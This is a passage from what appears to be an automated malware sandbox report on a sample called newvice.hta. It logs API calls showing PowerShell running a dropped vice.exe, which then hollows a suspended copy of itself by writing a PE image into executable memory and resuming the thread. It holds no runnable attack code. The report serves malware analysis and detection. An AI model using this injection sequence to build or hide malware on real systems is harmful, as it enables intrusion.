$FPTcCxEw;qVlmS $LdgHFwF;;;;}PENpW; filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x0000035c	1	1
NtResumeThread May 3, 2023, 9:22 a.m.	thread_handle: 0x00000354 suspend_count: 1 process_identifier: 292	1	0
NtResumeThread May 3, 2023, 9:22 a.m.	thread_handle: 0x000002a8 suspend_count: 1 process_identifier: 2232	1	0
NtResumeThread May 3, 2023, 9:22 a.m.	thread_handle: 0x000002fc suspend_count: 1 process_identifier: 2232	1	0
NtResumeThread May 3, 2023, 9:22 a.m.	thread_handle: 0x00000448 suspend_count: 1 process_identifier: 2232	1	0
NtResumeThread May 3, 2023, 9:22 a.m.	thread_handle: 0x00000580 suspend_count: 1 process_identifier: 2232	1	0
NtResumeThread May 3, 2023, 9:22 a.m.	thread_handle: 0x00000348 suspend_count: 1 process_identifier: 2232	1	0
CreateProcessInternalW May 3, 2023, 9:22 a.m.	thread_identifier: 2392 thread_handle: 0x000007a0 process_identifier: 2388 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Roaming\vice.exe track: 1 command_line: "C:\Users\test22\AppData\Roaming\vice.exe" filepath_r: C:\Users\test22\AppData\Roaming\vice.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000007ac	1	1
NtResumeThread May 3, 2023, 9:22 a.m.	thread_handle: 0x000007bc suspend_count: 1 process_identifier: 2232	1	0
NtResumeThread May 3, 2023, 9:22 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2388	1	0
NtResumeThread May 3, 2023, 9:22 a.m.	thread_handle: 0x00000154 suspend_count: 1 process_identifier: 2388	1	0
NtResumeThread May 3, 2023, 9:22 a.m.	thread_handle: 0x00000190 suspend_count: 1 process_identifier: 2388	1	0
NtResumeThread May 3, 2023, 9:23 a.m.	thread_handle: 0x00000244 suspend_count: 1 process_identifier: 2388	1	0
NtResumeThread May 3, 2023, 9:23 a.m.	thread_handle: 0x00000260 suspend_count: 1 process_identifier: 2388	1	0
CreateProcessInternalW May 3, 2023, 9:23 a.m.	thread_identifier: 3008 thread_handle: 0x00000270 process_identifier: 3004 current_directory: filepath: C:\Users\test22\AppData\Roaming\vice.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Roaming\vice.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000274	1	1
NtGetContextThread May 3, 2023, 9:23 a.m.	thread_handle: 0x00000270	1	0
NtAllocateVirtualMemory May 3, 2023, 9:23 a.m.	process_identifier: 3004 region_size: 155648 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000274	1	0
WriteProcessMemory May 3, 2023, 9:23 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL²8dà"Päî @ `@O §@ H.textôã ä `.rsrc§ æ@@.reloc@ø@B base_address: 0x00400000 process_identifier: 3004 process_handle: 0x00000274	1	1
WriteProcessMemory May 3, 2023, 9:23 a.m.	buffer: base_address: 0x00402000 process_identifier: 3004 process_handle: 0x00000274	1	1
WriteProcessMemory May 3, 2023, 9:23 a.m.	buffer: base_address: 0x00422000 process_identifier: 3004 process_handle: 0x00000274	1	1
WriteProcessMemory May 3, 2023, 9:23 a.m.	buffer: ð3 base_address: 0x00424000 process_identifier: 3004 process_handle: 0x00000274	1	1
WriteProcessMemory May 3, 2023, 9:23 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 3004 process_handle: 0x00000274	1	1
NtSetContextThread May 3, 2023, 9:23 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4326382 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000270 process_identifier: 3004	1	0
NtResumeThread May 3, 2023, 9:23 a.m.	thread_handle: 0x00000270 suspend_count: 1 process_identifier: 3004	1	0
NtResumeThread May 3, 2023, 9:23 a.m.	thread_handle: 0x00000290 suspend_count: 1 process_identifier: 2388	1	0

The process powershell.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Users\test22\AppData\Roaming\vice.exe

newvice.hta

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All